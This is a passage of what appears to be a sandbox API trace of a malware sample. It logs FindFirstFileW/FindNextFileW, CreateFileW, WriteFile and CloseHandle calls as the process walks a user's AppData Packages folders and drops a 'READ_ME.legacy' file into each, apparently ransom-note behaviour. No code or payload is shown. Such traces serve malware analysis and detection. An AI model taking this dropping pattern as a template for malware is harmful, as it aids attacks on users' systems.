(normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.720] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.721] CloseHandle (hObject=0x840) returned 1 [0150.721] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a9111e7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9b69471, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a9111e7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.721] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0150.722] WriteFile (in: hFile=0x840, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.723] CloseHandle (hObject=0x840) returned 1 [0150.723] FindNextFileW (in: hFindFile=0x564038, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a9111e7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc9b69471, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a9111e7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.723] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80471ab5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5638b8 [0150.723] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x80471ab5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.723] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62879dc0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3129e0a6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3129e0a6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.725] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.726] CloseHandle (hObject=0x844) returned 1 [0150.726] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6282d938, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1f501, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6282d938, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.726] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.726] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.727] CloseHandle (hObject=0x844) returned 1 [0150.727] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c1fd84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.728] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.729] CloseHandle (hObject=0x844) returned 1 [0150.729] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x627e1477, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c2046b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x627e1477, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.729] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.730] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.731] CloseHandle (hObject=0x844) returned 1 [0150.731] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2936044, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2936044, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.731] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9c20cc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0150.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.731] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.732] CloseHandle (hObject=0x844) returned 1 [0150.732] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71175214, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71175214, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0150.732] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.734] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.735] CloseHandle (hObject=0x844) returned 1 [0150.735] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802f4316, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x802f4316, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x802f4316, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0150.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.736] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.737] CloseHandle (hObject=0x844) returned 1 [0150.737] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0150.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0150.738] WriteFile (in: hFile=0x844, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.738] CloseHandle (hObject=0x844) returned 1 [0150.738] FindNextFileW (in: hFindFile=0x5638b8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628076c6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9d5a94a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x628076c6, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0150.739] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563fb8 [0150.739] FindNextFileW (in: hFindFile=0x563fb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xda8902b6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.739] FindNextFileW (in: hFindFile=0x563fb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda94ee85, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xda94ee85, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xda94ee85, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.739] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Advertising.Xaml_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.advertising.xaml_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0150.842] WriteFile (in: hFile=0x848, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.843] CloseHandle (hObject=0x848) returned 1 [0150.843] FindNextFileW (in: hFindFile=0x563fb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2936044, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2936044, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.843] FindNextFileW (in: hFindFile=0x563fb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2936044, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2936044, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0150.844] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563b78 [0150.844] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfafb82b, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.844] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4d09b9ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x31572d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31572d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0150.844] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0150.989] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.990] CloseHandle (hObject=0x84c) returned 1 [0150.990] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04f565, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6e222, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4d04f565, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.990] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0150.991] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.992] CloseHandle (hObject=0x84c) returned 1 [0150.992] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6e9b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cfb6be1, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0150.992] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0150.993] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.994] CloseHandle (hObject=0x84c) returned 1 [0150.994] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cf90959, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc9e6f1e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4cf90959, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0150.994] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x84c [0150.995] WriteFile (in: hFile=0x84c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0150.996] CloseHandle (hObject=0x84c) returned 1 [0150.996] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2936044, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2936044, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2936044, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0150.996] FindNextFileW (in: hFindFile=0x563b78, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cfb6be1, 